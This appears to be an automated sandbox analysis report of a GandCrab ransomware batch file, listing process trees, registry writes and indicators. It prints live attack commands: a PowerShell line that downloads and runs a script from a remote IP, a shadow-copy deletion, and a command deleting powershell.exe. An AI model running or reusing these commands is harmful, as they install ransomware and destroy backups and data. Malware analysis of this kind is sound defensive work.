General Info Watch the FULL Interactive Analysis at ANY.RUN!

File name

test_ran.bat

Verdict
Malicious activity
Analysis date
11/8/2018, 08:56:03
OS:
Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
ransomware
gandcrab
Indicators:

MIME:
text/plain
File info:
ASCII text, with no line terminators
MD5

9759d57f3a07768129aeeb1539d46c37

SHA1

05142daac55aff04aa6eda6db8962d3739a71eea

SHA256

c14013b44dfc2643a3bd32b17d5e55ff124be64e313abd5725c5b25b63ae2869

SSDEEP

3:VSJJLNW4Fjn8tSXRKBJ9KLxKCQDmkdFMWEOtRjmnMXRLO9FX0:snW4pP0zmKtCkTqOtRjmnMB60

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distored by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Software environment set and analysis options

Launch configuration

Task duration
300 seconds
Additional time used
240 seconds
Fakenet option
off
Heavy Evaision option
off
MITM proxy
off
Route via Tor
off
Network geolocation
off
Privacy
Public submission
Autoconfirmation of UAC
off

Software preset

  • Internet Explorer 8.0.7601.17514
  • Adobe Acrobat Reader DC MUI (15.023.20070)
  • Adobe Flash Player 26 ActiveX (26.0.0.131)
  • Adobe Flash Player 26 NPAPI (26.0.0.131)
  • Adobe Flash Player 26 PPAPI (26.0.0.131)
  • Adobe Refresh Manager (1.8.0)
  • CCleaner (5.35)
  • FileZilla Client 3.36.0 (3.36.0)
  • Google Chrome (68.0.3440.106)
  • Google Update Helper (1.3.33.17)
  • Java 8 Update 92 (8.0.920.14)
  • Java Auto Updater (2.8.92.14)
  • Microsoft .NET Framework 4.6.1 (4.6.01055)
  • Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Professional 2010 (14.0.6029.1000)
  • Microsoft Office Proof (English) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (French) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
  • Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
  • Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Single Image 2010 (14.0.6029.1000)
  • Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
  • Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
  • Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
  • Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
  • Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
  • Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
  • Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
  • Notepad++ (32-bit x86) (7.5.1)
  • Opera 12.15 (12.15.1748)
  • Skype version 8.29 (8.29)
  • VLC media player (2.2.6)
  • WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

  • Client LanguagePack Package
  • Client Refresh LanguagePack Package
  • CodecPack Basic Package
  • Foundation Package
  • IE Troubleshooters Package
  • InternetExplorer Optional Package
  • KB2534111
  • KB2999226
  • KB976902
  • LocalPack AU Package
  • LocalPack CA Package
  • LocalPack GB Package
  • LocalPack US Package
  • LocalPack ZA Package
  • ProfessionalEdition
  • UltimateEdition

Behavior activities

MALICIOUS SUSPICIOUS INFO
Request from PowerShell which ran from CMD.EXE
  • powershell.exe (PID: 672)
Connects to CnC server
  • powershell.exe (PID: 672)
Deletes shadow copies
  • powershell.exe (PID: 672)
Dropped file may contain instructions of ransomware
  • powershell.exe (PID: 672)
Renames files like Ransomware
  • powershell.exe (PID: 672)
Writes file to Word startup folder
  • powershell.exe (PID: 672)
GandCrab keys found
  • powershell.exe (PID: 672)
Actions looks like stealing of personal data
  • powershell.exe (PID: 672)
Executes PowerShell scripts
  • cmd.exe (PID: 3800)
Starts CMD.EXE for commands execution
  • powershell.exe (PID: 672)
Reads Internet Cache Settings
  • powershell.exe (PID: 672)
Creates files like Ransomware instruction
  • powershell.exe (PID: 672)
Creates files in the user directory
  • powershell.exe (PID: 672)
Reads settings of System Certificates
  • powershell.exe (PID: 672)
Dropped object may contain TOR URL's
  • powershell.exe (PID: 672)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Static information

Screenshots

Processes

Total processes
50
Monitored processes
7
Malicious processes
2
Suspicious processes
0

Behavior graph

+
start cmd.exe no specs #GANDCRAB powershell.exe wmic.exe no specs explorer.exe no specs notepad.exe no specs cmd.exe no specs timeout.exe no specs
Specs description
Program did not start
Integrity level elevation
Task сontains an error or was rebooted
Process has crashed
Task contains several apps running
Executable file was dropped
Debug information is available
Process was injected
Network attacks were detected
Application downloaded the executable file
Actions similar to stealing personal data
Behavior similar to exploiting the vulnerability
Inspected object has sucpicious PE structure
File is detected by antivirus software
CPU overrun
RAM overrun
Process starts the services
Process was added to the startup
Behavior similar to spam
Low-level access to the HDD
Probably Tor was used
System was rebooted
Connects to the network
Known threat

Process information

Click at the process to see the details.

PID
3800
CMD
cmd /c ""C:\Users\admin\Desktop\test_ran.bat" "
Path
C:\Windows\system32\cmd.exe
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\apphelp.dll

PID
672
CMD
powershell.exe IEX ((new-object net.webclient).downloadstring('http://198.211.105.99/kasa'));Invoke-SZYIITYRAYH;Start-Sleep -s 1000000;
Path
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows PowerShell
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\shell32.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\linkinfo.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\slc.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\system32\version.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorwks.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system\9e0a3b9b9f457233a335d7fba8f95419\system.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\4bdde288f147e3b3f2c090ecdf704e6d\microsoft.powershell.consolehost.ni.dll
c:\windows\assembly\gac_msil\system.management.automation\1.0.0.0__31bf3856ad364e35\system.management.automation.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management.a#\a8e3a41ecbcc4bb1598ed5719f965110\system.management.automation.ni.dll
c:\windows\system32\psapi.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.core\fbc05b5b05dc6366b02b8e2f77d080f1\system.core.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\e112e4460a0c9122de8c382126da4a2f\microsoft.powershell.commands.diagnostics.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuratio#\f02737c83305687a68c088927a6c5a98\system.configuration.install.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.wsman.man#\f1865caa683ceb3d12b383a94a35da14\microsoft.wsman.management.ni.dll
c:\windows\assembly\gac_msil\microsoft.wsman.runtime\1.0.0.0__31bf3856ad364e35\microsoft.wsman.runtime.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.transactions\ad18f93fc713db2c4b29b25116c13bd8\system.transactions.ni.dll
c:\windows\assembly\gac_32\system.transactions\2.0.0.0__b77a5c561934e089\system.transactions.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\82d7758f278f47dc4191abab1cb11ce3\microsoft.powershell.commands.utility.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\583c7b9f52114c026088bdb9f19f64e8\microsoft.powershell.commands.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\6c5bef3ab74c06a641444eff648c0dde\microsoft.powershell.security.ni.dll
c:\windows\microsoft.net\framework\v2.0.50727\culture.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.xml\461d3b6b3f43e6fbe6c897d5936e17e4\system.xml.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\system.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.directoryser#\45ec12795950a7d54691591c615a9e3c\system.directoryservices.ni.dll
c:\windows\system32\shfolder.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.data\1e85062785e286cd9eae9c26d2c61f73\system.data.ni.dll
c:\windows\assembly\gac_32\system.data\2.0.0.0__b77a5c561934e089\system.data.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorjit.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuration\bc09ad2d49d8535371845cd7532f9271\system.configuration.ni.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll
c:\windows\system32\winhttp.dll
c:\windows\system32\webio.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\dhcpcsvc6.dll
c:\windows\system32\dhcpcsvc.dll
c:\windows\system32\mpr.dll
c:\windows\system32\wininet.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\drprov.dll
c:\windows\system32\winsta.dll
c:\windows\system32\ntlanman.dll
c:\windows\system32\davclnt.dll
c:\windows\system32\davhlpr.dll
c:\windows\system32\wkscli.dll
c:\windows\system32\netutils.dll
c:\windows\system32\browcli.dll
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\iconcodecservice.dll
c:\windows\system32\windowscodecs.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\normaliz.dll
c:\windows\system32\sensapi.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\schannel.dll
c:\windows\system32\credssp.dll
c:\windows\system32\ncrypt.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\gpapi.dll
c:\windows\system32\cryptnet.dll
c:\windows\system32\cabinet.dll
c:\windows\system32\devrtl.dll
c:\windows\system32\ieframe.dll
c:\windows\system32\oleacc.dll

PID
3192
CMD
"C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
Path
C:\Windows\system32\wbem\wmic.exe
Indicators
No indicators
Parent process
powershell.exe
User
admin
Integrity Level
MEDIUM
Exit code
2147749908
Version:
Company
Microsoft Corporation
Description
WMI Commandline Utility
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\secur32.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\wbem\wbemprox.dll
c:\windows\system32\wbemcomn.dll
c:\windows\system32\msxml3.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\wininet.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\program files\common files\microsoft shared\office14\msoxmlmf.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\wbem\wbemsvc.dll
c:\windows\system32\wbem\fastprox.dll
c:\windows\system32\ntdsapi.dll
c:\windows\system32\wbem\wmiutils.dll

PID
1880
CMD
"C:\Windows\explorer.exe"
Path
C:\Windows\explorer.exe
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Exit code
1
Version:
Company
Microsoft Corporation
Description
Windows Explorer
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\explorer.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\shell32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\explorerframe.dll
c:\windows\system32\duser.dll
c:\windows\system32\dui70.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\uxtheme.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\dwmapi.dll
c:\windows\system32\slc.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\propsys.dll
c:\windows\system32\cryptbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\actxprxy.dll

PID
1608
CMD
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Videos\BCAHATTDX-DECRYPT.txt
Path
C:\Windows\system32\NOTEPAD.EXE
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Version:
Company
Microsoft Corporation
Description
Notepad
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\notepad.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\comdlg32.dll
c:\windows\system32\shlwapi.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\winspool.drv
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\version.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\uxtheme.dll

PID
2420
CMD
"C:\Windows\System32\cmd.exe" /c timeout -c 5 & del "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /f /q
Path
C:\Windows\System32\cmd.exe
Indicators
No indicators
Parent process
powershell.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\timeout.exe

PID
2900
CMD
timeout -c 5
Path
C:\Windows\system32\timeout.exe
Indicators
No indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Exit code
1
Version:
Company
Microsoft Corporation
Description
timeout - pauses command processing
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\timeout.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\version.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll

Registry activity

Total events
442
Read events
356
Write events
86
Delete events
0

Modification events

PID
Process
Operation
Key
Name
Value
672
powershell.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
LanguageList
en-US
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
0
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
0
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
4294901760
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
4294901760
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
1048576
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
%windir%\tracing
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
0
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
0
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
4294901760
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
4294901760
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
1048576
672
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
%windir%\tracing
672
powershell.exe
write
HKEY_CURRENT_USER\Software\ex_data\data
ext
2E006200630061006800610074007400640078000000
672
powershell.exe
write
HKEY_CURRENT_USER\Software\keys_data\data
public
0602000000A400005253413100080000010001004F6E8DAB9A0FB1421BCEB82308FD521E326DB9FDC091CC6746C2163C2B84D763EA249BB756EF02850E5D9B96634825FFB9C9D705182E395B925A281F482D8AFE0652D808216B24AFDE2F51D3938821E4A63009D2F17994630E1B7FDA44AD29777B34EEEA86620286C169B23D91C5CFBC951B6C48A7E65F5EAD355A9653F96CF4B797691A639756750BF1475AECA6F1E85EDAE0B2E3C8381E9C2A2D0FCD950A408C4E4851BDFBEF9426D7ADC0263D4CE8F2028BA05C0701428718F3CE386345CD67722135DB0CEBA468A4D2B248E99EE8F41E9A2F776F94F1CAD304316083F87D6AF7DD898ABF2ECC7994BB9705E3732955B218C5BDEC3B325D7B9CD91EC675CC
672
powershell.exe
write
HKEY_CURRENT_USER\Software\keys_data\data
private
940400007C69AAFE6DB7ED4DF9163E593F9C0D29EFC604E71D2542185CB466617D4ADA964DC3F14D508724310E8602C1C0BD0482FFC17C960AFA009B82AC12F355DFDAE3E34E7B45612D3784E323B1BAA813A0ADE5583505EC70EA928A23F56A0269D6BB0EB6292B04709FBDFC75912A2FE9D73A671D5B3A6C5DA04A7ED8344E78CD82FB0D222D7E0EACEF262988FC707CB2BCCBCB402649F61423C617E2D5FB3500D6DB545290BF54A8FB818C61E5194351C49D8997629CA0153BB1824CFE5E1C67DAE66432EB45F4274811F3A91B470AE2D6AF6B044EE487B350560B5AD2611020F878D90949212B791A198A56C48480C39A77BC9C9B22345BF66E5BAA32E34E594889A5A0405C102F84B66032B9266479D0E3693552ED2BA4BA207393BB76D444F1FED1CBA3525B2B356D61A8B8D8F0BD307E2C06AE510D1CEA10CDB0B9465CDE8459E84D0C747980802DDD1F3F663C81B4B818BB33B8949AA0960A8E4FB0EBACEF46F035D593DA978A254765617B528A9EE6F44037E294F912D969726C1F4AB1D6DB1BDC4E1C5768BB70FFDA74BB6E1701499C33A7A915CBD5B17B29CAC78A8861D80C4D7C2D0A28CF783C792F9E099AB3D114003CA8155EDA2C69BCAF0E8E18287446C9901E17FE37B0FD3B3BDFAB1979C54829A683020016EAB61C9552DEE0FBAA73A84845AD41DFD2AEA6DB31CA213BCC1B76800B37B8B12783444FC842EC993A8ECB8EF3C4672279ACEFF3FCA3A185CC059C01096D0CF1770055B31F8C71672577FAF9108B8C6270D63DF7D6665EBC11A343A2E81BDF12DD891CED3EE272C6E30E1B56DBFB62FDE0141B28353786A1EA77E15B8A2409C058FCD23F7CE90AFBD66162408B8E8BE37509B359C03CC98E0627833BCE20138F265D9C1C1B71AC5A0D661D67B8676EB084959143E2F4C45562B63F2B22C4380C9CB0E9476C1097E04508B553901EDA545BBB7CD080BE93CCB52C3C860370BC8B8DEF780E1262202D184B6D35567287B961E8BE92CDB162B7579747B077A0BD682070EFB62EFFF00F4C0117F7B02F22373BAFFE2C602A2E030D9DE427BA011796AC071B9E487F8BA042806E2DFC0046F33C7F22632494B5511424E84D680AD9FB5DFEC59B85ED74F8F5E5D207F95A7DDEB1C31C8E377544EC4A9E1648AD13AC8A27B3AB1CDED7DF0E36B6D85F014872C69A67916A4D540656A93CB36E0C60101882F0BE2F2761CA14FC2CF9EA52C4EAE5C7A043D74911616824CE5E4F15DC49D0CEE4E2A6942F4A19423CD1E346FDBF698ADAD559A70904A3E8D884B986C7B96ADB7BB11DA951EE957FBAA98C032EFAC6752F0F577C70E9622DE2E4A8C663BC6860108B186EF67DBDEC8F06DEA40A2C92FE36C21A188ADAB35E3CBDB8F38F8FB83D14CD234C515EA9C257356B6FAEA6699E462817ECAC2E28820390E51685F6463DD0A5EA2B0BDF3F0B7637C51AD90F322E23103BB794CD3901682D3143E093CA37614B509D9A35CFF5E9B112316F5C412368E795EC5A6D1056ACADF10624140165760ED0F68FEAED4C5D91B49C0C742F43D701C132DD367DFE3689B19C158950623B59BB57417B7F2F7E5078A5094E69168D484D94F10DA1A1538F3E61EE535C6985FCD027DAE36D263A9CC861EFE2C1866793716FBEB0D4D6EA5CDB6360A15A191C3B7F55F03C5A832114EAD71BE73742CB7D1A9A354523A77C2A4D69C581736C4548B8B4508DA76BF8240121E78AF39D9B45DE1CE4BF3071D877106EC85D92528BA42D9F28D2426EADBA244556C819EDE4E6BB5FFBABDFFCCCEC21D085C6F5380BD364178837E2628C6AFCE04991733A0C092BB63CC716A8D9750A90CA24F8DBE61FA4FEBEC779E659DBF49443EFD31DF50D8DC2781CDDC8594FE0667A4B4E75A9A3E7CA45BD2F90C3AF55CE31EBA08F765AE94F830C3EAF23F8462D794F892A12FF52261BB4D99130ADE07C1EE118CFA54F44F599992FE46FAAB15077281F139F5C5A0E91D90821B8889335395DA7A79615A4E6A936F7748989C55D96AB527AC303DF59D7FB9920F14827C01746AFD48A495183B40228920594D38F9BD720307BED3D6290CFF2EA513D0BC580D29BA3E3148B697F50C7664A16A8D031D6F2F8AA07C80BEB960933218D0F888EE7248CD96CCC5FEC4C372F9EE202740C6B443E188B8ED12728D7B461F7590C337B2F1E9D516C8D679D4CB11CE5328167AC2032F03EE242909F9C5F4AC9BDD5E69D53317AB18860DDDD8567C51CD2DE69FF84FDA9A22D581C0643E81DFE7DB62E1440AD211B433C7E4A08B42A1E5E0F2722CF06009C28A6FCDE0CD95EB4564D065051D802FE6E7D1F25DDDBCAB27898E62576AFFFB5BE2368ACE49DAC1E79992000F13A23BCAADE4A0102A0393224F3
672
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
672
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
672
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
ProxyEnable
0
672
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000

Files activity

Executable files
0
Suspicious files
271
Text files
231
Unknown types
12

Dropped files

PID Process Filename Type
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@ueberland-garage.mehrmarken[1].txt text
